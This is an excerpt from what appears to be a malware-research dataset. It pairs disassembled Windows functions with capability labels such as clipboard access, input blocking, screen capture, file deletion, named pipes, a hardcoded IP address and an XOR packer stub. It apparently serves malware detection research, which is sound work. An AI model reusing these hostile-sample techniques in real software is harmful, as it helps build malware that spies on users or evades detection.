joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100057a0
Capabilities:
Open clipboard

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov al, byte [ebx]
push esi
mov esi, ecx
cmp al, 0xc9
je 0x10005932
movzx eax, al
add eax, 0xfffffffc
push edi
cmp eax, 0xf
ja case.0x100057c4.14
jmp dword [eax*4 + 0x10005938]
push 0x20
call fcn.10005660
pop edi
pop esi
pop ebx
pop ebp
ret 8
cmp byte [esi + 0x19], 0
mov edi, dword [sym.imp.USER32.dll_BlockInput]
je 0x100057e9
push 0
call edi
mov eax, dword [ebp + 0xc]
inc ebx
push ebx
dec eax
push esi
call fcn.10005e10
mov al, byte [esi + 0x19]
test al, al
je 0x10005931
movzx eax, al
push eax
call edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov bl, byte [ebx + 1]
mov edx, dword [esi + 0xbc]
movzx ecx, bl
push ecx
add edx, 0x28
push edx
mov byte [esi + 0x24], bl
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx ecx, byte [ebx + 1]
push ecx
call fcn.10005660
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx ecx, byte [ebx + 1]
mov eax, 0x3e8
cdq
idiv ecx
mov edx, dword [esi + 0xbc]
pop edi
mov dword [esi + 0x2c], ecx
pop esi
pop ebx
mov dword [edx + 0xfc], eax
pop ebp
ret 8
movzx eax, byte [ebx + 1]
push eax
add esi, 0x19
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
movzx ecx, byte [esi]
push ecx
call dword [sym.imp.USER32.dll_BlockInput]
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx edx, byte [ebx + 1]
push edx
add esi, 0x1a
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov bl, byte [ebx + 1]
mov ecx, dword [esi + 0xbc]
movzx eax, bl
push eax
push ecx
mov byte [esi + 0x25], bl
call fcn.10006fb0
pop edi
pop esi
pop ebx
pop ebp
ret 8
push esi
call fcn.10006170
pop edi
pop esi
pop ebx
pop ebp
ret 8
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10005931
mov edi, dword [ebp + 0xc]
inc ebx
dec edi
push ebx
call fcn.10006120
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov edx, dword [esi + 0xbc]
pop edi
pop esi
mov dword [edx + 4], 0x3c
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xbc]
pop edi
pop esi
mov dword [eax + 4], 0x55
pop ebx
pop ebp
ret 8
mov ecx, dword [esi + 0xbc]
pop edi
pop esi
mov dword [ecx + 4], 0x64
pop ebx
pop ebp
ret 8
call fcn.10029000
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10006120
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10006165
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 8]
push edi
push ecx
push eax
call fcn.1000c910
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebp
ret 4

Function at 0x10006170
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100061ff
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
jne 0x1000619c
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov esp, ebp
pop ebp
ret 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push edi
lea esi, [eax + 1]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov dword [ebp - 4], eax
call fcn.10007785
mov ecx, dword [ebp - 4]
mov ebx, eax
lea eax, [esi - 1]
push eax
push ecx
lea edx, [ebx + 1]
push edx
mov byte [ebx], 2
call fcn.1000c910
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x100061f3
mov ecx, dword [eax + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push esi
push ebx
call edx
push ebx
call fcn.1000823b
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10006670
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100066a7
cmp dword [0x1005e684], eax
je 0x100066a7
cmp dword [0x1005f3d4], eax
jne 0x100066a7
push eax
push eax
push eax
push 0x10006570
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1005f3d4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100066b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.38.47.207.95
call fcn.10007fe8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0
push 0
push 0
push 0x10006570
push 0
push 0
mov dword [0x1005e67c], ecx
mov dword [0x1005e680], edx
mov dword [0x1005e684], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1005f3d4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret

Function at 0x10006720
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x10006570
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret
Function at 0x10006e00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
push ebx
push edi
je 0x10006f1d
cmp dword [esi + 0x68], 0
je 0x10006f1d
call fcn.10006ff0
test al, al
je 0x10006e3c
mov eax, dword [esi + 0x38]
push eax
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x38], eax
mov bl, byte [esi + 0x28]
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x6c], 0
lea edx, [ebp - 0xc]
mov byte [ecx], bl
inc dword [esi + 0x6c]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
fild dword [ebp - 0xc]
fmul dword [esi + 0x14]
call fcn.1002e310
fild dword [ebp - 8]
mov edi, eax
fmul dword [esi + 0x14]
call fcn.1002e310
sub eax, dword [esi + 0x10]
sub edi, dword [esi + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x68]
mov dword [ebp - 0xc], edi
mov dword [eax], edi
mov ecx, dword [ebp - 8]
lea edx, [esi + 0x74]
mov dword [eax + 4], ecx
add dword [esi + 0x6c], 8
push edx
call fcn.10006960
mov ecx, dword [esi + 0x6c]
add ecx, dword [esi + 0x68]
mov byte [ecx], al
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
inc dword [esi + 0x6c]
push edx
mov edx, dword [esi + 0x38]
push eax
mov eax, dword [esi + 0x1c]
push ecx
mov ecx, dword [esi + 0x18]
push edx
mov edx, dword [esi + 0x40]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
cmp bl, 0xe
jne 0x10006ed4
mov ecx, esi
call fcn.10007280
mov eax, dword [esi + 0x6c]
mov ecx, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ecx], eax
lea edi, [esi + 0xf8]
call ebx
sub eax, dword [edi]
cmp eax, dword [esi + 0xfc]
jae 0x10006f08
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
sub eax, dword [edi]
cmp eax, dword [esi + 0xfc]
jb 0x10006ef4
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x68]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000779b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1005d1b0]
jne 0x100077a5
repz ret
jmp fcn.10008649
Function at 0x1000c57c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005d1b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000a53b
and dword [ebp - 0x14], 0
cmp dword [0x1005f37c], 0
mov dword [ebp - 0x18], eax
jne 0x1000c62f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000c6d7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000c6d7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1005f37c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1005f380], eax
call edi
push eax
call esi
push 0x100337bc
push ebx
mov dword [0x1005f384], eax
call edi
push eax
call esi
mov dword [0x1005f38c], eax
test eax, eax
je 0x1000c62f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1005f388], eax
mov eax, dword [0x1005f388]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000c688
cmp dword [0x1005f38c], ecx
je 0x1000c688
push eax
call esi
push dword [0x1005f38c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000c688
test ebx, ebx
je 0x1000c688
call edi
test eax, eax
je 0x1000c67f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000c67f
test byte [ebp - 8], 1
jne 0x1000c688
or dword [ebp + 0x10], 0x200000
jmp 0x1000c6bb
mov eax, dword [0x1005f380]
cmp eax, dword [ebp - 0x18]
je 0x1000c6bb
push eax
call esi
test eax, eax
je 0x1000c6bb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000c6bb
mov eax, dword [0x1005f384]
cmp eax, dword [ebp - 0x18]
je 0x1000c6bb
push eax
call esi
test eax, eax
je 0x1000c6bb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1005f37c]
call esi
test eax, eax
je 0x1000c6d7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000c6d9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000779b
leave
ret
Function at 0x1002dcb0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002da40
Function at 0x40a411
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417354]
jne 0x40a41b
repz ret
jmp fcn.0040efec

Function at 0x412cf4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417354]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040cf8d
and dword [ebp - 0x14], 0
cmp dword [0x4687e8], 0
mov dword [ebp - 0x18], eax
jne 0x412da7
push 0x40374c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412e4f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403740
push ebx
call edi
test eax, eax
je 0x412e4f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403730
push ebx
mov dword [0x4687e8], eax
call edi
push eax
call esi
push 0x40371c
push ebx
mov dword [0x4687ec], eax
call edi
push eax
call esi
push 0x403700
push ebx
mov dword [0x4687f0], eax
call edi
push eax
call esi
mov dword [0x4687f8], eax
test eax, eax
je 0x412da7
push 0x4036e8
push ebx
call edi
push eax
call esi
mov dword [0x4687f4], eax
mov eax, dword [0x4687f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412e00
cmp dword [0x4687f8], ecx
je 0x412e00
push eax
call esi
push dword [0x4687f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412e00
test ebx, ebx
je 0x412e00
call edi
test eax, eax
je 0x412df7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x412df7
test byte [ebp - 8], 1
jne 0x412e00
or dword [ebp + 0x10], 0x200000
jmp 0x412e33
mov eax, dword [0x4687ec]
cmp eax, dword [ebp - 0x18]
je 0x412e33
push eax
call esi
test eax, eax
je 0x412e33
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x412e33
mov eax, dword [0x4687f0]
cmp eax, dword [ebp - 0x18]
je 0x412e33
push eax
call esi
test eax, eax
je 0x412e33
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4687e8]
call esi
test eax, eax
je 0x412e4f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412e51
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a411
leave
ret
Function at 0x414c30
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1000
call fcn.004142c0
cmp dword [0x499abc], 0x37
jne 0x414ca6
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push 0x404020
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x404040
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0x404058
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea edx, [esp + 0x804]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x49a6a0]
mov edx, dword [0x496b1c]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1000
ret
Function at 0x414d40
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
sub esp, 0x828
cmp dword [0x499abc], 0x60b
mov eax, dword [esp + 0x82c]
mov ecx, dword [eax]
mov edx, dword [0x4658bc]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x4658b8]
mov dword [esp + 0x2c], eax
mov eax, dword [0x4658c0]
mov dword [esp + 0x24], edx
mov edx, dword [0x4658c4]
mov ebx, 0xc6ef3720
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], edx
jne 0x414db2
push 0
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x40]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x18], 0x20
jmp 0x414dc4
mov ecx, dword [esp + 0x14]
mov eax, ecx
shl eax, 4
cmp dword [0x499abc], 5
mov dword [esp + 0xc], eax
jne 0x414dee
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
add eax, dword [esp + 0x20]
lea esi, [ebx + ecx]
shr ecx, 5
cmp dword [0x499abc], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
jne 0x414e2e
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x403ef0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
add ecx, dword [esp + 0x28]
xor eax, esi
xor ecx, eax
cmp dword [0x499abc], 0x5ba
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
mov dword [0x496b20], 0
jne 0x414e6b
push 0x403f18
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, dword [esp + 0x10]
sub edi, ecx
mov edx, edi
shl edx, 4
cmp dword [0x499abc], 0x78c
mov dword [esp + 0xc], edx
jne 0x414e98
push 0
lea eax, [esp + 0x34]
push eax
push 0
lea ecx, [esp + 0x40]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov eax, dword [esp + 0x2c]
add dword [esp + 0xc], eax
mov edx, edi
shr edx, 5
mov dword [0x496b28], 0xff6b3619
mov dword [0x496b2c], 0xffffffff
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x24]
add dword [esp + 0x10], eax
lea eax, [ebx + edi]
xor dword [esp + 0xc], eax
mov eax, dword [esp + 0x10]
xor dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
sub dword [esp + 0x14], eax
cmp dword [0x499abc], 0x93
jne 0x414efa
push 0x403fd0
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x414f07
lea eax, [esp + 0x1c]
call fcn.00414cd0
mov ebx, dword [esp + 0x1c]
dec dword [esp + 0x18]
jne 0x414dc0
mov eax, dword [esp + 0x838]
mov edx, dword [esp + 0x14]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], edx
pop ebx
add esp, 0x828
ret 4
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x102228d4
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x1cb42468
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
push 0x7f02
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
push edi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], eax
push 0x184
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [ebp + 0xc]
lea ecx, [ebp - 0x118]
push ecx
call fcn.0040e9b0
add esp, 8
lea ecx, [ebp - 0x118]
push 0x415068
push ecx
call fcn.0040e9b8
add esp, 8
push edi
push 6
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_SetWindowWord]
lea eax, [ebp - 0x258]
lea ecx, [ebp - 0x118]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov edi, eax
jne 0x4010e9
push 6
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetWindowWord]
cmp ax, 4
ja 0x4010d4
push dword [ebp + 0xc]
call fcn.004039f9
add esp, 4
test eax, eax
jne 0x4010e0
push dword [ebp + 0xc]
lea ecx, [ebp - 0x118]
push ecx
call fcn.0040e9b0
add esp, 8
lea ecx, [ebp - 0x118]
push 0x415068
push ecx
call fcn.0040e9b8
add esp, 8
jmp 0x40106c
mov eax, dword [ebp + 0xc]
mov byte [eax + 3], 0
jmp 0x4011f5
cmp edi, 0xffffffff
je 0x4011e5
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 8], eax
mov eax, dword [0x4305f0]
mov ebx, dword [eax + 0x675c]
imul ebx, ebx, 0xe
test byte [ebp - 0x258], 0x10
je 0x4011b9
lea eax, [ebp - 0x22b]
push eax
call fcn.004132c0
add esp, 4
dec eax
lea ecx, [ebp - 0x118]
push eax
push ecx
call fcn.0040e9b0
add esp, 8
cmp byte [ebp - 0x118], 0x2e
jne 0x401178
cmp byte [ebp - 0x117], 0x2e
jne 0x40116f
cmp byte [ebp - 0x116], 0
jne 0x40116f
push dword [ebp + 0xc]
call fcn.0040e930
add esp, 4
cmp eax, 4
jb 0x4011b9
push 0x415064
lea eax, [ebp - 0x118]
push eax
call fcn.0040e9b0
add esp, 8
jmp 0x401178
cmp byte [ebp - 0x117], 0
je 0x4011b9
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x118]
push eax
push ecx
call fcn.0040e930
add esp, 4
lea ecx, [ebp - 0x118]
push eax
push ecx
push dword [ebp - 8]
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
cmp ebx, dword [ebp - 0x10]
jge 0x4011a4
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x118]
push eax
push 0
push 0x180
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401101
push 0
push ebx
push 0x195
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0
push 0x186
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetCursor]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402e2c
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x402db2
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x402dd0
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x402e2e
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x402e15
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x402e1e
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x402e28
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x402e0a
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x402d94
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x402e7b
dec eax
je 0x402e72
sub eax, 3
je 0x402e69
mov dword [ebp - 4], 0x40
jmp 0x402e98
mov dword [ebp - 4], 4
jmp 0x402e7e
mov dword [ebp - 4], 0x20
jmp 0x402e7e
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x402eca
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x402e4a
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004026db
inc ebp
push es
push 4
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x402ed6
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi

Function at 0x40550a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, str.:
lea edi, [ebp - 4]
movsd dword es:[edi], dword [esi]
push 0x11
call fcn.0040eb30
mov byte [eax], 0
add esp, 4
mov esi, eax
mov eax, dword [ebp + 8]
cmp byte [eax + 1], 0x3a
jne 0x40556c
mov al, byte [eax]
push 0x11
mov byte [ebp - 1], 0
mov byte [ebp - 4], al
call fcn.0040eb30
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push 0x10
push edi
push eax
push ecx
push dword [ebp + 0xc]
push 0x10
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push edi
call fcn.0040eb10
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret